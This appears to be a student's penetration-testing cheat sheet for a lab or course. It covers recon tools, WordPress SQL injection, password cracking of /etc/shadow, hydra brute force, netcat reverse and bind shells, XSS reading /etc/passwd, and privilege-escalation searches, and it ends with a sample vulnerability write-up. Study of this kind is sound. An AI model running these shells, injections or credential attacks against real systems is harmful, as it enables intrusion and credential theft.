Key

[] = replace with data from machine
Condition = not needed condition is explained

Intel gathering:

Nslookup:

Command: nslookup [site]
Description: Performs DNS lookup to obtain domain name or IP address information.

Nmap:

Command: nmap -sV [IP], nmap -sV [IP] -T5 -p-, nmap -A [IP]
Description: Network scanning tool for discovering hosts and services on a computer network.
-sV for service version
-T5- for aggressive
-p- all ports

-A All

Nitko:

Command: nikto -h [IP / web address]
Description: Web server scanner that performs comprehensive tests against web servers for multiple items.

Wpscan (WordPress sites):

Command: wpscan --url [url]
Description: WordPress vulnerability scanner.
Web scanning:

Gobuster:

Command: gobuster dir -u [ip/url] -w [path to wordlist]
Description: Directory/file & DNS busting tool written in Go.

SQL injection:

[web address] /?rest_route=/wpgmza/v1/ markers&filter={}&fields=*from [table name] – -
Description: SQL injection attempt targeting WordPress plugin REST API.

information_schema.tables

Description: SQL query to fetch all tables from the information_schema database.

File searching:

find / -name *.sql
find / -name "*.[filetype]" 2>/dev/null
find [path] -name “[filename]” 2>/dev/null
Description: Commands for searching files in Linux filesystem.

Password cracking:

With root privileges:

sudo unshadow /etc/passwd /etc/shadow > unshadow.txt
Description: Combines /etc/passwd and /etc/shadow files for password cracking.

john -w=wordlist.txt unshadow.txt -format=crypt
Description: Uses John the Ripper for password cracking.

Without root privileges (hashcat):

hashcat -m [hashtype] -a [attack mode] hash.txt /path/to/wordlist.txt
Description: Password recovery utility supporting various hash types.

Hydra:

Command: hydra -l [username] -P [wordlist] -s [port number if using non standard port] [target] [service]
Description: Parallelized login cracker which supports numerous protocols to attack.
Hash identification:

Hash-id:

Command: hashid -m [hash]
Description: Tool to identify the different types of hash used to encrypt data.

Base64

cat [txt or string] | base64 -d
Or
base64 -d encoded.txt > decoded.txt

Shells (Server/Attack machine):

Bind Shell:

Server: ncat -lvnp 4444 -e /bin/bash
Attacker: ncat [my IP] 4444

Reverse Shell:

Attacker: nc -lvnp 4443
Server: nc [my IP] 4443 -e /bin/bash

Spawn bin/bash:

Command: python(3) -c 'import pty; pty.spawn("/bin/bash")'

Kernel version:

uname -a, lsb_release -a
Description: Commands to determine the kernel version and distribution information.

Shell payload

echo “nc [my IP] 4443 -e /bin/bash” > exploit.run

nc -lvnp 4443

Metasploit

msfconsole
search [exploit]
Use [option]
set [option] [input]
exploit (runs exploit)

Command Injection

All different ways to read a file:

Grep . [filename]
Less [filename]
Tac [filename]
Nano [filename]

XSS

test

<script>alert()</script>

Funny thing writes files

<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>

User list when you have shell (may not work)

awk -F: '{ print $1}' /etc/passwd

WordPress

wpscan --url [url] --enumerate u (gets users)

wpscan --url --usernames [usernames] --passwords [wordlist] (brute force logins)

WordPress sites that spill info

http://[ip/url]/wordpress/?rest_route=/wp/v2/users

Abuse permissions

this could be useful to cat files I have no access to
cp /etc/shadow /dev/stdout

sudo -l (what you can run as root)

https://gtfobins.github.io

see what runs with privileges

find / -perm -u=s -type f 2>/dev/null
or
find / -perm /u=s,g=s 2>/dev/null

Chmod

chmod 777 - full perms
d = directory
r = read
w = write
x = execute
Owner| group| others
Drwx rwx rwx
https://quickref.me/chmod.html

7	rwx	111
6	rw-	110
5	r-x	101
4	r–	100
3	-wx	011
2	-w-	010
1	–x	001
0	—	000

SSH

Connect to SSH server:

Command: ssh username@hostname
Description: Initiates a secure shell connection to a remote server using the SSH protocol.

SSH with custom port:

Command: ssh -p [port] username@hostname
Description: Connects to an SSH server using a custom port instead of the default port 22.

SSH key-based authentication:

Command: ssh -i [private_key_file] username@hostname
Description: Connects to an SSH server using a specific private key file for authentication.

SSH with verbose output:

Command: ssh -v username@hostname
Description: Enables verbose output, providing detailed information about the SSH connection process.

SCP (Secure Copy):

Command:
scp username@remote_host:/path/to/remote/file /path/on/local/machine

Description: Securely copies files between a local and a remote host over an SSH connection.

Netcat

Basic TCP connection:

Command: nc [hostname/IP] [port]
Description: Initiates a basic TCP connection to a specified host and port.

Basic UDP connection:

Command: nc -u [hostname/IP] [port]
Description: Initiates a basic UDP connection to a specified host and port.

Netcat as a server (listening):

Command: nc -l -p [port]
Description: Starts Netcat in listen mode, waiting for incoming connections on a specified port.

Netcat as a server (persistent):

Command: nc -l -p [port] -k
Description: Starts Netcat in listening mode with the -k option, allowing it to persist after a client disconnects.

File transfer (sending):

Command: nc -q 5 [receiver_ip] [port] < [file]
Description: Sends a file to a remote host using Netcat, with a timeout of 5 seconds (-q 5).

File transfer (receiving):

Command: nc -l -p [port] > [file]
Description: Listens for a file sent from a remote host and saves it locally.

ExifTool:

View metadata:

Command: exiftool [file]
Description: Displays metadata information embedded within the specified file.

Extract metadata to CSV:

Command: exiftool -csv [file] > output.csv
Description: Extracts metadata from the specified file and saves it in CSV format.

Extract specific tag:

Command: exiftool -[tag_name] [file]
Description: Extracts a specific metadata tag from the file.

Extract all metadata to text file:

Command: exiftool [file] > metadata.txt
Description: Extracts all metadata from the file and saves it in a text file.

SQL (injection)

Select * from [table name];
Select * from [table name] where [column] = [input] and [column] = input;

' OR 1=1;-- in the password field **can** return all users and hashes.

Example Questions

5 Vulnerabilities, Recommendations
- Vulnerability name
- Affected software and versions
- CVSS score
- brief description
- Clear recommendation

SQL injection in WP-Google-Maps

wp-google-maps 7.11.17, WordPress

9.8

SQL injection via an unsantized fields options before a SELECT statement in the WordPress REST API
http://loan.atlas.local/?rest_route=/wpgmza/v1/markers&filter={}&fields=1=1.

Update WP Google Maps and WordPress to the latest version. Implement regular security testing and an effective patch management system. Implement authentication for the WordPress Rest API. Apply thorough input sanitisation and validation. Educate developers on software security best practices.